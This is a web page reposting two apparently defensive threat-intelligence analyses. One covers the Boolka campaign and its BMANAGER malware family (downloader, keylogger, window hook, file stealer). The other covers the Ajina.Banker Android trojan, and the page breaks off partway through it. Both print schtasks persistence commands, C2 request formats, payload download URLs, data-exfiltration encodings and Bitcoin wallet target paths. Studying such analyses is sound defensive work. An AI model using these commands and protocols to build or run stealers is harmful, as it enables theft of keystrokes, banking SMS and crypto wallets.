Since at least November 24th 2023, the payload loaded by the script tag was updated. Let’s compare two snippets used by Boolka before and after this update: https://urlscan.io/responses/420d8d83d5b98d959f7c62c2043b0cc2511385d4cab722b23ef4b39da5147bfc/, https://urlscan.io/responses/e6bc4f2ca5bf36fae278cbbc12bbacc12f475cd92f194a79c24afe384af3e6e7/.  The updated version of this malicious script includes several modifications. Notably, it now checks for the presence of a specific div element with the ID “hookwork” on the page (Picture 4). If this div is not found, it creates one and sets it to be hidden.Boolka malware Snippet for creating div element

Picture 4: Snippet for creating div element

The code now includes additional checks within the cbClickButton function to exclude certain sessionStorage properties (key, getItem, setItem, removeItem, clear) from being sent to the server (Picture 5).Boolka malware Updated collection and exfiltration code

Picture 5: Updated collection and exfiltration code

The event listeners for user interactions with input fields, buttons, and select elements remain, capturing user input and sending it to the remote server.

The IP addresses of servers hosting the Boolka infrastructure were reported for multiple SQL injection attempts. The number and locations of reporters allow us to speculate that these attacks were opportunistic since there was no particular pattern in regions attacked by threat actor. Based on this information we can infer that the infection of compromised websites was the result of exploitation of vulnerabilities detected during this opportunistic vulnerability scanning.

Example SQL Injection payload used by attacker:

Malware delivery

The landing page updatebrower[.]com (Picture 6) detected in January 2024 was a test run of a malware delivery platform created by Boolka. This platform was based on open source tool BeEF (The Browser Exploitation Framework). In addition to the use of the obvious subdomain “beef” and default BeEF filename “hook.js” VirusTotal also detected and saved default hook.js version.Screenshot of first detected test landing page created by Boolka

Picture 6: Screenshot of first detected test landing page created by Boolka

In total threat actor created 3 domain names for landing pages but used only one of them:

  • updatebrower.com
  • 1-update-soft.com
  • update-brower.com

In March 2024, Group-IB Threat Intelligence analysts detected the first use of Boolka’s malware delivery platform in the wild. While there are multiple overlaps between the list of websites infected with Boolka’s formstealing JS and Boolka’s BeEF payload, we can assume that during this campaign the threat actor used the same approach for website infection that he tested during early stages of his activities.

In analyzed cases BeEF-based malware delivery platform created by Boolka was used to distribute a downloader for the BMANAGER trojan.

Boolka malware delivery platform

Malware

Different malware samples were discovered during analysis. Infection starts with the BMANAGER dropper which will attempt to download the BMANAGER malware from a hard-coded URL.

The following malware samples have been discovered as being used by Boolka.

  • BMANAGER downloader
    • Downloader
  • BMANAGER
    • Downloader
  • BMREADER
    • Data exfiltration
  • BMLOG
    • Keylogger
  • BMHOOK
    • Records which applications are running and have keyboard focus
  • BMBACKUP
    • File stealer

All samples found thus far have been created with PyInstaller. The Python scripts used rely on Python 3.11.

Boolka malware killchain

BMANAGER downloader

The BMANAGER downloader attempts to download, configure persistence for, and execute the BMANAGER malware.

It downloads the BMANAGER from a URL hard-coded into the dropper using a HTTP(S) GET request.

The response to this request is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the BMANAGER executable file.

By default it drops the BMANAGER malware at: C:\Program Files\Full Browser Manager\1.0.0\bmanager.exe

BMANAGER persistence & execution

Persistence is achieved via Windows tasks. This starts the BMANAGER malware when the user logs into Windows.

schtasks /create /sc onlogon /tn bmanager  /tr "'C:\\Program Files\\Full 
Browser Manager\\1.0.0\\bmanager.exe'" /it /rl HIGHEST

The task is executed immediately after creation.

schtasks /run /tn bmanager

These values are hard-coded into the downloader.

BMANAGER

BMANAGER is capable of downloading files from a hard-coded C2, creating startup tasks, deleting startup tasks, and running executables.

Features

  • Download executables from a hard-coded C2 address
  • Create Windows tasks to allow executables to run on login
  • Create Windows tasks to run executables
  • Delete Windows tasks

Windows tasks & persistence

Persistence is achieved by creating Windows tasks. Individual malware samples do not have the capability to achieve persistence. This is done for them by the BMANAGER malware. The BMANAGER malware will execute the following command to achieve persistence:

schtasks /create /sc onlogon /tn {task_name}  /tr 
"'{path_to_executable}.exe'" /it /rl HIGHEST

With task_name being replaced by a name for the task as defined by the C2. And path_to_executable being replaced with the path to and name of the executable to configure the persistence for.

C2 communication

The malware communicates with the C2 via HTTP(S) GET requests.

Register client

On startup the malware will send messages to the C2 to register it using a GUID randomly generated by the malware. This GUID is stored in a local SQL database.

The initial C2 this request is sent to is hard-coded into the sample.

  1. /client?guid={guid}
    1. Expects a string “success” to be returned.
  2. /getmainnodes?guid={guid}
    1. Expects a list of potential C2s to be returned.
  3. /
    1. This request is sent to each C2 in the received list to determine response time.
    2. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Request is executed for each C2 in the returned list.
    2. Expects a string “success” to be returned.
    3. If “success” is returned the C2 is selected as the active C2 and it stops going through the list of C2s.

The list of C2s is stored in a locally kept SQL database. The active C2 is marked as such in this SQL database.

Get target applications

Next the malware will attempt to retrieve a list of applications which are targets. This request is made to the active C2.

  • /getprogramms?guid={guid}

The response is a single string containing comma separated executable names.

opera.exe,msedge.exe,chrome.exe,firefox.exe,HxOutlook.exe,HxAccounts.exe,EXCEL.EXE,SearchApp.exe,WindowsTerminal.exe,TextInputHost.exe,ShellExperienceHost.exe,ScreenClippingHost.exe,WhatsApp.exe,Spotify.exe,Steam.exe,steamwebhelper.exe,Viber.exe,msedgewebview2.exe,AcWebBrowser.exe,Notepad.exe,Acrobat.exe,1Password.exe,AvastBrowser.exe,EpicGamesLauncher.exe,WinStore.App.exe,old_chrome.exe,mstsc.exe,wpscenter.exe,wpscloudsvr.exe,AutodeskDesktopApp.exe,TeamViewer.exe,Notion.exe,old_msedge.exe,thunderbird.exe,OUTLOOK.EXE,WINWORD.EXE,Tresorit.exe,fsbanking.exe,iCloudPasswords.exe,ooliveupdate.exe,opera_gx_splash.exe,888poker_installer.exe,888poker.exe,PokerStars.exe,PokerStarsBr.exe,poker.exe,FirstLogonAnim.exe

Response of C2 during time of analysis (29/02/2024)

This list of applications is stored in the local SQL database. The information can then be used by other modules to determine what applications to target.

Get additional malware

Last but not least the malware will attempt to retrieve additional executables from the active C2. These executables have thus far always been other malware samples. These samples are:

  • BMREADER
    • Data exfiltration module
  • BMLOG
    • Keylogger module
  • BMHOOK
    • Windows hooking module
  • BMBACKUP
    • File stealer module

It will send a GET request to the C2 to retrieve the applications to download and install.

  • /getinstall?guid={guid}
hxxps://updatebrower[.]com/download/bmbackup.txt;bmbackup;C:\Program Files\Full Browser Manager\1.0.0\bmbackup.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmhook.txt;bmhook;C:\Program Files\Full Browser Manager\1.0.0\bmhook.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmlog.txt;bmlog;C:\Program Files\Full Browser Manager\1.0.0\bmlog.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmreader.txt;bmreader;C:\Program Files\Full Browser Manager\1.0.0\bmreader.exe;1;v 1.0.0

Response of C2 during the time of analysis (29/02/2024).

These strings consist of parameters used by the BMANAGER malware. These parameters are separated using the semicolon (;) character. The parameters are as follows:

  • Download URL
    • The URL from where to download the executable.
  • Windows task name
    • The name of the Windows task to create/run/delete.
  • Executable dump path
    • Where the downloaded executable is dumped on the victim device.
  • Function
    • Whether to create a new Windows task for the executable, to run an existing Windows task, to create and run a Windows task, or to delete an existing Windows task.
    • Possible values:
      • 1
        • Create new Windows task (which is set to start on login)
        • This will download the executable.
      • 2
        • Delete an existing Windows task
      • 3
        • Create a new Windows task (which is set to start on login) and run it immediately
        • This will download the executable.
      • 4
        • Run an existing Windows task
      • 5
        • Stop a currently running Windows task
        • This will also delete the executable.
  • Version
    • A string value. This value is used to distinguish between versions of the malware.

To download an executable the malware sends a GET request to the given URL. The response is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the final executable file.

A new Windows task is created for this executable to start on login, and optionally the executable is started immediately.

After all applications have been downloaded, and all tasks have been performed, a message is sent back to the C2.

  • /install?guid={guid}&name={version}

The version being the version string found in the C2 response.

BMREADER

The BMREADER malware sends stolen data stored in the local SQL database to the active C2.

Features

  • Exfiltrates data stored in the local SQL database

C2 communication

Communication with the C2 is done via HTTP(S) GET requests.

Register with C2

On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.

  1. /getnodes?guid={guid}&type=2
    1. Expects a list of C2s as response.
  2. /usednodes?guid={guid}&t=0&node={resultnode}
    1. resultnode is set to the initial C2 address.
    2. Only called if 1 did not return a list of C2s.
    3. Expects a list of C2s as response.
  3. /
    1. Called for every C2 in the list.
    2. Measures response time of C2s.
    3. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Called for every C2 in the list.
    2. Expects string “success”.
    3. If “success” is returned it will stop going through the list of C2s.
  5. /usednodes?guid={guid}&t=0&node={resultnode}
    1. resultnode is set to the C2 the malware has chosen to connect to.
    2. Sent to the initial C2.
    3. If no C2 returns “success”, the initial C2 is used.

Sending stolen inputs

One of the values stored in the local SQL database that is exfiltrated by the BMREADER is a list of keyboard inputs. These keyboard inputs have been obtained by the BMLOG (keylogger) malware.

The following GET request is made to the connected C2.

  • /clientdata?guid={guid}&programm={programm}&title={titleencode}&vars={resultencode}
    • guid being the GUID retrieved from the local SQL database
    • programm being the path of the application from which the keys were logged
    • titleencode being a ZLIB compressed and Base64 encoded string that is the window title from which the keys were logged
    • resultencode being a ZLIB compressed and Base64 encoded string that is a combination of a number of values.

The “resultencode” string is created as follows:

  • “eventid={eventid}|||recid={recid}|||data={data}|||”
    • eventid being the ID of the event that triggered the keylogging
    • recid being the ID of the keylogging.
    • data being the actual string of inputs stolen from the victim.

The logged keys sent are then removed from the local SQL database.

Sending known applications

Another value stored in the local SQL database, and sent to the C2 by the malware, are applications found to be running on the victim device. These applications are collected by the BMHOOK malware.

A GET request is made to the C2:

  • /clientprogramm?guid={guid}&vars={resultencode}
    • guid being the random GUID obtained from the local SQL database.
    • resultencode being a ZLIB compressed and Base64 encoded string consisting of all programs stored in the local SQL database

When the response to this request is a string value of “success” the SQL database is updated. This update sets all applications as having been sent. This prevents entries from being sent twice.

BMLOG

The BMLOG malware is a keylogger. It stores logged keys in a local SQL database.

It performs the keylogging using the Python keyboard module.

Due to the keyboard module logging keys globally, not per window, it uses the BMHOOK malware to record which window currently has keyboard focus.

It will only log keys for applications that have been set as targets. These targets are received by the BMANAGER malware from the C2 and stored in the local SQL database. The BMLOG malware reads these targets from that same database.

Features

  • Record keyboard inputs

Storing logged keys

Instead of sending logged keys to a C2 it stores them in a local SQL database.

The keylogger will continually log keys until either:

  1. 60 seconds of logging have passed
  2. A different window gains keyboard focus

If either of these events occurs all inputs are stored as a single string in the local SQL database. After storage the keylogger will begin logging again.

The inputs are translated as follows:

  • For inputs a single character long (a, b, 1, 2, etc.) they are put in the string as is.
  • For space inputs a whitespace is appended to the string.
  • For tab inputs a “\t” character is appended to the string.
  • For other inputs the input is capitalized and placed between square brackets before being appended to the string.

Additional values stored alongside the input string are:

  • The event ID
  • The amount of recordings made for the logged application
  • The path to the logged application
  • The title of the window being keylogged
  • 0 value to indicate the information has not yet been sent to the C2

The BMREADER application sends the logged keys to the C2.

BMHOOK

The BMHOOK malware uses Windows hooks to discover which applications are running on a victim device and which window/application has keyboard focus.

This sample stands out in its implementation in that it uses CPython and Windows APIs to install Windows hooks. This makes the sample function only on Windows.

Features

  • Install a Windows hook to trigger on a window receiving keyboard focus

Windows hooks

The BMHOOK malware uses the SetWinEventHook function to install a Windows hook. This hook is configured to trigger on win32con.EVENT_OBJECT_FOCUS events. This type of event occurs when a window receives keyboard focus.

The following actions occur when this event is triggered:

  • Use GetWindowTextW to retrieve the title of the hooked window.
  • Obtain the full path of the executable the window belongs to.
  • Insert these two values, and a unique ID value, into the local SQL database.
  • Insert the path to the application into the local SQL database, if it does not exist there already.

The BMREADER malware uses the information stored in the local SQL database to send to the C2. The BMLOG malware uses the information to determine which window/application is being keylogged.

BMBACKUP

The BMBACKUP malware is a file stealer. It checks for specific files retrieved from a C2. If it finds the files it will read them and send them to the C2.

Features

  • Retrieve paths of files to steal from C2
  • Exfiltrate stolen files to C2

C2 communication

Communication with the C2 occurs via HTTP(S) GET requests.

Register with C2

On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.

  1. /getnodes?guid={guid}&type=2
    1. Expects a list of C2s as response.
  2. /usednodes?guid={guid}&t=0&node={resultnode}
    1. Only called if 1 did not return a list of C2s.
    2. Expects a list of C2s as response.
  3. /
    1. Called for every C2 in the list.
    2. Measures response time of C2s.
    3. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Called for every C2 in the list.
    2. Expects string “success”.
    3. If “success” is returned it will stop going through the list of C2s.
  5. /usednodes?guid={guid}&t=0&node={resultnode}
    1. Sent to the initial used for the first request.
    2. resultnode is set to the C2 the malware has chosen to connect to.
    3. If no C2 returns “success”, the initial C2 is used.

Get target files

The malware sends a request to the C2 every 60 seconds to retrieve a list of files to exfiltrate.

  • /getpaths?guid={guid}

The response consists of a list of strings. Each being an absolute path to a file to exfiltrate.

C:\*\*\AppData\Roaming\Bitcoin\wallets\*\wallet.dat
C:\*\*\AppData\Roaming\Bitcoin\wallets\wallet.dat

Response from C2 during the time of analysis (29/02/2024).

After making this request it will check each of these files whether they exist or not. If a file is found to exist the exfiltration process is initiated.

Exfiltrating files

The malware will go through the list of files to exfiltrate and check if they exist. When a file exists it will begin the exfiltration process.

  1. A copy of the target file is made with a randomized name. This randomized name is a random UUID value ending with “.tmp”. This copy is placed in the users temporary directory (C:\Users\*\AppData\Local\Temp).
  2. The copy file is read in 16384 byte chunks. Each of these chunks is sent to the C2 via a GET request.
    1. /clientfiledata?guid={guid}&vars={resultencode}
    2. resultencode being a Base64 encoded string containing the byte data.

resultencode is created in the following manner:

  • Up to 16384 bytes are read from the target backup file and converted to a hexadecimal string
  • The info string is created
    • “partid={partid}|||partcount={partcount}|||hex={hex}|||fn={file}|||
      • partid is which chunk of the file this object is
      • partcount are the total amount of chunks the file consists of
      • hex are the bytes read from the file
      • file is the path and name of the original file (not the path and name of the backup file)
  • This info string is ZLIB compressed, Base64 encoded, and then made URL safe
  • This is the final resultencode object that is sent as a URL parameter

SQL database

Most samples make use of a local SQL database. The path and name of this database is hard-coded in the samples to be located at: C:\Users\{user}\AppData\Local\Temp\coollog.db, with user being the username of the logged in user.

The following is a map of the SQL database. This map contains all tables and fields used by the different malware samples. Do note that the tables are created by each sample as they use them. Thus if certain samples are not present on a device, these tables may not be present.

a map of the SQL database Boolka malware

Tables

  • clientguid
    • Contains the randomly generated GUID used to identify the sample to the C2.
    • Created by BMANAGER
  • mainnodes
    • Contains a list of C2s, in particular the currently active C2.
    • Created by BMANAGER
  • log
    • Contains the keylogger data.
    • Created by BMLOG
  • event
    • Contains which applications/windows have/had keyboard focus.
    • Created by BMHOOK
  • allprogramm
    • Contains a list of applications whose window has received keyboard focus at one point.
    • Created by BMHOOK
  • programms
    • Contains a list of all applications that are to be targeted by other modules.
    • Created by BMANAGER
  • files
    • Contains a list of files that need to be exfiltrated to the C2.
    • Created by BMBACKUP

Signing certificate

BMANAGER 2f10a81bc5a1aad7230cec197af987d00e5008edca205141ac74bc6219ea1802 is signed with a valid certificate by ООО ТАСК:

Boolka Signing certificate

Serial number 75 69 94 1C 66 2A AD 5F E9 50 11 B1

According to its metadata the signer is i.shadrin@tacke.ru.

According to the company’s website they develop software, however there are few suspicious things:

  • The locale shown on the map differs from the address, which points to the town of Dmitrov in Moscow, Russia.
  • all buttons show static info which doesn’t correlate with their description

Based on public information the company consists of 4 people, and their CEO also runs 5 other small companies.

These facts lead to three different versions:

  • the certificate doesn’t belong to OOO ТАСК, and it was bought by a fraudster providing fake data to GlobalSign
  • the certificate was stolen from OOO ТАСК, which means that either infrastructure of ООО ТАСК was compromised or email i.shadrin@tacke.ru got compromised
  • ООО ТАСК or it’s employees anyhow involved into fraudulent operations

We can not confirm any of these versions. However we checked domain tacke.ru in the stealer logs cloud and didn’t find any occurrence.

Conclusion

The discovery of the Boolka’s activities sheds light on the evolving landscape of cyber threats. Starting from opportunistic SQL injection attacks in 2022 to the development of his own malware delivery platform and trojans like BMANAGER, Boolka’s operations demonstrate the group’s tactics have grown more sophisticated over time. The injection of malicious JavaScript snippets into vulnerable websites for data exfiltration, and then the use of the BeEF framework for malware delivery, reflects the step-by-step development of the attacker’s competencies.

The analysis reveals the complexity of the malware ecosystem employed by Boolka, with various components such as formstealing scripts, keyloggers, and file stealers orchestrated to achieve malicious objectives. Additionally, the investigation into the signing certificate used by the BMANAGER malware underscores the challenges in attribution and the potential involvement of legitimate entities in illicit activities.

Recommendations

Recommendations for end users:

  • Avoid clicking on suspicious links or downloading files from unknown sources.
  • Download apps and updates only from official sources.
  • Ensure that your operating systems, browsers, and all software are regularly updated.
  • Employ strong, unique passwords for different accounts and use a reputable password manager to keep track of them.
  • Enhance security by enabling multi-factor authentication (MFA) on your accounts wherever possible.
  • Ensure you have reliable and up-to-date security measures like anti-virus software in place to detect and remove threats.

Recommendations for website owners:

  • Conduct frequent security audits and vulnerability assessments to identify and fix potential weaknesses. Group-IB’s Penetration Testing services can help you minimize your susceptibility to web attacks. Our experts work with the latest methods and techniques curated by Group-IB Threat Intelligence to pinpoint assets vulnerable to web injection attacks, and more.
  • Use robust authentication protocols and require strong passwords for all users, along with multi-factor authentication.
  • Ensure all software, including plugins and content management systems, are updated with the latest security patches.
  • Deploy a WAF to monitor and filter malicious traffic targeting your web applications.
  • For advanced cybersecurity teams, we recommend using Group-IB’s Threat Intelligence system, which can be used to detect relevant threats as early as during their preparation stage. The built-in graph analysis tool enriched by data from the largest threat-actor database reveals links between attackers, their infrastructures, and their tools. Enriching cybersecurity with threat intelligence helps significantly strengthen an organization’s ability to counter attacks, including ones carried out by state-sponsored groups.
  • Provide regular training for your staff on the latest security practices and threat awareness.
  • Set up continuous website monitoring for suspicious activities and have an incident response plan ready in case of a breach.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Scam, Spyware, vulnerabilityLeave a comment

Ajina attacks Central Asia: Story of an Uzbek Android Pandemic

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Discovered by Group-IB in May 2024, the Ajina.Banker malware is a major cyber threat in the Central Asia region, disguising itself as legitimate apps to steal banking information and intercept 2FA messages.

Introduction

In May 2024, Group-IB analysts discovered suspicious activity targeting bank customers in the Central Asia region. The threat actors have been spreading malicious Android malware designed to steal users’ personal and banking information, and potentially intercept 2FA messages. During the investigation, Group-IB discovered .APK files masquerading as legitimate applications that facilitated payments, banking, deliveries, and other daily uses. These malicious files were spread across Telegram channels.

After the initial analysis of this trojan, we discovered thousands of malicious samples. All the found samples were divided into several activity clusters, each to be separately studied and investigated in a series of articles. This article examines one of these clusters: meet the Ajina.Banker malware.

Ajina is a mythical spirit from Uzbek folklore, often depicted as a malevolent entity that embodies chaos and mischief. According to local legends, this spirit is known for its ability to shape-shift and deceive humans, leading them astray or causing them harm. We chose the name Ajina for this malware campaign because, much like the mythical spirit, the malware deceives users by masquerading as legitimate applications, leading them into a trap compromising their devices and causing significant harm.

Key Findings

  • During our research, we uncovered the ongoing malicious campaign that started from November 2023 to July 2024.
  • We found and analyzed approximately 1,400 unique samples of Android malware and identified changes between versions of the same malware.
  • The attacker has a network of affiliates motivated by financial gain, spreading Android banker malware that targets ordinary users.
  • Analysis of the file names, sample distribution methods, and other activities of the attackers suggests a cultural familiarity with the region in which they operate.
  • Analysis also shows that the evolution of this malware campaign is causing attacks to expand beyond the original region, causing more victims in other countries as well.

Threat Actor Profile

Ajina Threat Actor Profile

The starting point of the research

As part of its continuous monitoring and hunting procedures, Group-IB analysts discovered a malicious Android sample (SHA1 b04d7fa82e762ea9223fe258fcf036245b9e0e9c) that was uploaded to the VirusTotal platform from Uzbekistan via a web interface, and had an icon of a local tax authority app.Screenshot of the sample found on the VirusTotal platform

Figure 1. Screenshot of the sample found on the VirusTotal platform

Behavioral analysis has shown that the application tries to contact 109.120.135[.]42. Group-IB’s proprietary Graph Network Analysis tool reveals similar files that contacted the same server.Screenshot of graph analysis of network infrastructure of the detected server

Figure 2. Screenshot of graph analysis of network infrastructure of the detected server

Our attention was also drawn to the package when our Fraud Protection solution detected the package org.zzzz.aaa in one of our client sessions. During our investigation, we found more samples on the VirusTotal platform. Our Fraud Analysts continued researching this malware and constructed a timeline of the campaign, identifying methods of distribution and targets.Screenshot of Android Info summary with unique package name

Figure 3. Screenshot of Android Info summary with unique package name

Timeline

Ajina’s malicious campaign commenced in November 2023 and has persisted to present day. Initially the activities detected included the malware distribution through Telegram, encompassing a range of threats from malware-laden attachments to phishing attempts.

Ajina refined their tactics as the campaign progressed into February through March 2024, demonstrating heightened sophistication Social engineering techniques and the scale of the attack were increasingly leveraged to enhance the campaign’s efficiency. Based on Group-IB’s Fraud Protection system, we have plotted the following timeline of new infections.New infections timeline

Figure 4. New infections timeline

The timeline above illustrates the daily count of new infections, indicating a persistent and ongoing threat. This trend reveals that many users continually fall victim to the malware, leading to a steady increase in infections over time. The data shows that the adversary’s distribution techniques remain effective, successfully targeting new victims daily.

Malware distribution

Our analysis has revealed intensive attempts by Ajina to utilize messaging platforms, including Telegram, as a channel for disseminating malicious samples. Ajina orchestrated a widespread campaign by creating numerous Telegram accounts, leveraging these accounts to disseminate malware within regional community chats. Evidence suggests that this distribution process may have been partially automated, allowing for a more efficient and far-reaching spread of the malicious software.

To enhance their deception, Ajina crafted messages and sent links and files to lure unsuspecting users. The malware is often disguised as legitimate banking, government, or everyday utility applications, designed to exploit the trust users placed in these essential services in order to maximize infection rates and entice people to download and run the malicious file, thereby compromising their devices. This targeting method resulted in a widespread and damaging malware campaign that compromised numerous devices in the Central Asia region.

Techniques

Files with themes

To further entice potential victims, the adversary shared these malicious files in local Telegram chats, using a variety of deceptive methods. They crafted enticing giveaways and promotional messages that promised lucrative rewards, special offers, or exclusive access to sought-after services. In the following example, one of the following text messages was used for spreading files mimicking the local finance application (SHA1 5951640c2b95c6788cd6ec6ef9f66048a35d6070).Screenshot of the message with the malicious file

Figure 5.1 Screenshot of the message with the malicious fileScan results on VirusTotal platform

Figure 5.2 Scan results on VirusTotal platform

Translated from Uzbek:

arrow_drop_down

These messages were designed to create a sense of urgency and excitement, prompting users to click on the links or download the files without suspecting any malicious intent. The use of themed messages and localized promotion strategies proved to be particularly effective in regional community chats. By tailoring their approach to the interests and needs of the local population, Ajina was able to significantly increase the likelihood of successful infections.

File spamming

Further analysis of Ajina’s distribution techniques revealed instances where they spammed messages containing only a malicious file attachment devoid of any accompanying text. This approach aimed to exploit the curiosity of users who might be inclined to open an unsolicited file or open it accidentally.

These spam campaigns were conducted across multiple accounts, sometimes even simultaneously, suggesting a highly coordinated effort. The simultaneous and widespread nature of these spam messages hints at the potential use of an automated distribution tool.Screenshot of sending multiple messages

Figure 6. Screenshot of sending multiple messages

Link to Telegram channel

In addition to spamming messages with malicious attachments, Ajina also sent links to channels that hosted the malicious files, accompanied by promotional texts designed to engender trust and entice users to download the malware.

By directing users to external channels rather than sending files directly within the chat, Ajina aimed to circumvent the common security measures and restrictions imposed by many community chats. Sending files directly within a chat sometimes triggers automatic moderation and can lead to the adversary’s accounts being banned. However, by using links to external channels, they could bypass these restrictions, ensuring that their malicious content remained accessible to potential victims for a longer period of time.

This approach helped the adversary avoid detection and leveraged the trust users have in seemingly legitimate channels. Once users clicked on the link and entered the channel, they were inclined to believe that the files shared there were safe, especially when presented with convincing promotional texts. This strategy highlights the adversary’s adaptability and continuous efforts to refine their methods to evade security measures and maximize the reach of their malware campaign.Screenshot of sending a link to channel

Figure 7.1 Screenshot of sending a link to channelContent of channel

Figure 7.2 Content of channel

Link to web-resource

Some examples were found when the adversary sent links to web resources.Screenshot of a message containing a link to web-resource

Figure 8. Screenshot of a message containing a link to web-resource

Accounts

Our investigation uncovered that the adversary established multiple accounts to execute their malicious campaign effectively. These accounts were meticulously set up to blend in with regular users and evade detection for as long as possible. Below, we provide detailed information on some of the identified accounts, including their account names, usernames, and user IDs, along with the volume of messages sent from each account.

Last Seen NameINFINITOSSS MILLENNIUM—Barno Umarova—Оксана Цветкова
Last Seen Usernameinfinitosss————
User ID65719031716856449327682467852364773393337027991392
Number of messages238175765425
Last Seen NameРенатАлевтина!Эмилия!Святослав ПономаревEduard Bocan
Last Seen Username————EduardBocan
User ID64068806367119728862655612640171584818856125515928
Number of messages1648461043
Last Seen NameНикон ДементьевЭрнест ЩербаковشوكتЛукия РыбаковаНинель Мамонтова
Last Seen Username—————
User ID71333779206887020479552664303663441070606701781993
Number of messages722913
Last Seen NameJason99Linda CastanedaAlicia WillisАндреева Родригес
Last Seen Username———Andreeva_5676
User ID6553097862657421914856684188636716964266
Number of messages2131

These accounts were used to distribute the malware through various local community chats. By using multiple accounts, sometimes simultaneously, the adversary was able to increase the reach and frequency of their malicious content. The adversary’s ability to maintain and operate numerous accounts simultaneously, while consistently delivering tailored messages, suggests the possible use of automated distribution tools. These tools enabled the adversary to manage large-scale operations with precision, further amplifying the impact of their malicious campaign. This approach to account management indicates a high level of planning and coordination.

Malware analysis

Fraud Protection telemetry found 1,402 packages with package names com.example.smshandler (187 samples) and org.zzzz.aaa (1,215 samples) between 30 November 2023 and 31 July 2024 across 5,197 devices. Analyzed samples share a common code structure and subset of permissions that are requested.

The first known infection occurred at 30 November 2023 via package name com.example.smshandler (SHA1 cc6af149f1da110a570241dde6e3cfd0852cb0d8) with permission list:

[
	"android.permission.READ_PHONE_STATE",
	"android.permission.RECEIVE_BOOT_COMPLETED",
	"android.permission.RECEIVE_SMS",
	"android.permission.ACCESS_WIFI_STATE",
	"android.permission.BROADCAST_SMS",
	"android.permission.DUMP",
	"android.permission.INTERNET",
	"android.permission.READ_PHONE_NUMBERS",
	"android.permission.ACCESS_NETWORK_STATE",
	"android.permission.CALL_PHONE",
	"com.example.smshandler.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION",
	"android.permission.READ_SMS"
]

Ajina.Banker.A

According to Fraud Protection telemetry data, the first known sample of this malware uploaded to VirusTotal is “Узбек �екс 🔞🔞🔞” (SHA1 84af2ce3a2e58cc8a70d4cc95916cbfe15f2169e). It was uploaded to the VirusTotal platform in January 2024, providing the initial glimpse into this malicious campaign.Detections at the moment of analysis

Figure 9. Detections at the moment of analysis

Once the trojan is launched it connects to the gate server 79[.]137[.]205[.]212:8080, generates AES encryption key, and sends it to the gate server along with a hard-coded worker’s name and userId that is also stored into SharedPreferences.Initialization of the trojan

Figure 10. Initialization of the trojanBase-64 encoded string sent to server

Figure 11. Base-64 encoded string sent to serverDecoded payload

Figure 12. Decoded payload

This message is base64-encoded JSON:

{
	"key": "base64-encoded AES key",
	"action": 1,
	"worker": "Ares",
	"id": "c23aaac5774d4992a8d68de5eaf28535"
}

All messages except action 1 are encrypted with AES/GCM/NoPadding cipher suite.

Further research shows that messages are JSON-encoded, but are sent via raw TCP socket, not wrapped in HTTP. The general structure of messages contains a numeric action field with action type and other fields with arbitrary data depending on the action type. For example, if something goes wrong, the trojan sends a message to the gate server with the following structure:

{
	"action": 5,
	"msg": "string representation of the occured exception"
}

From the victim’s point of view, once the trojan is initiated, it loads a background image from an external legit resource and requests the user to grant these permissions:

[
"android.permission.READ_PHONE_STATE",
"android.permission.CALL_PHONE",
"android.permission.READ_PHONE_NUMBERS",

"android.permission.RECEIVE_SMS",
"android.permission.READ_SMS"
]

The only activity in the trojan (censored)

Figure 13. The only activity in the trojan (censored)

If permissions are granted via system dialog, the trojan disables the activity thus prevents launching an application UI again from the OS launcher.

setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)

Prevention of further launching

Figure 14. Prevention of further launching

If the user grants permissions via their mobile device’s operating system settings menu, the trojan then launches an intent that activates a third-party application related to trojan’s legend:Starting a third-party activity

Figure 15. Starting a third-party activity

If permissions are not granted, the trojan sends a notification to the gate server (action 6).

When permissions are granted, the trojan collects information from the infected device and sends it to the gate server (action 3). The following is the list of information collected:

  • for each active SIM card
    • MCC+MNC codes of current registered operator
    • Name of the current registered operator
    • ISO-3166-1 alpha-2 country code equivalent of the MCC (Mobile Country Code) of the current registered operator or the cell nearby
    • ISO-3166-1 alpha-2 country code equivalent for the SIM provider’s country code
    • MCC+MNC codes of the provider of the SIM
    • Service Provider Name (SPN)
    • Phone number
    • Is SPN “known” or not
  • list of installed financial applications originated from Armenia, Azerbaijan, Iceland, Kazakhstan, Kyrgyzstan, Pakistan, Russia, Uzbekistan and some international ones
  • sent SMS
    • Recipient
    • Body
    • Date
  • received SMS
    • Sender
    • Body
    • Date

The trojan abuses the <queries> element in the app’s manifest instead of abusing QUERY_ALL_PACKAGES permission, and therefore it can get information only about what is declared in manifest packages. However, it does not prevent the expansion of the list of targets for a particular sample because Trojan will send to the gate server every incoming SMS, including for banks not included in the list of targets (action 2). This allows, for example, the initial registration of accounts in organizations that are not the target of the trojan.Broadcast receiver for incoming SMSes

Figure 16. Broadcast receiver for incoming SMSes

While collecting SIM-card info, the trojan checks if the SPN is “known” and, if it is, sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device.

CountryUSSD
Armenia*187#
*420#
*525#
Azerbaijan*137#
*540#
*666#
Kazakhstan*160#
Kyrgyzstan*112#
*212#
Russia*100#
*103#
*111*0887#
*116*106#
*200#
*201#
*205#
*303#
Tajikistan*111#
*99#
Ukraine*161#
*61#
Uzbekistan*100*4#
*150#
*303#
*450#
*664579#

After this USSD response is received, the trojan sends the response info to the gate server (action 4):USSD response callback

Figure 17. USSD response callback

There is no difference between samples with com.example.smshandler package name from first and last infections with publicly available samples.

Ajina.Banker.B

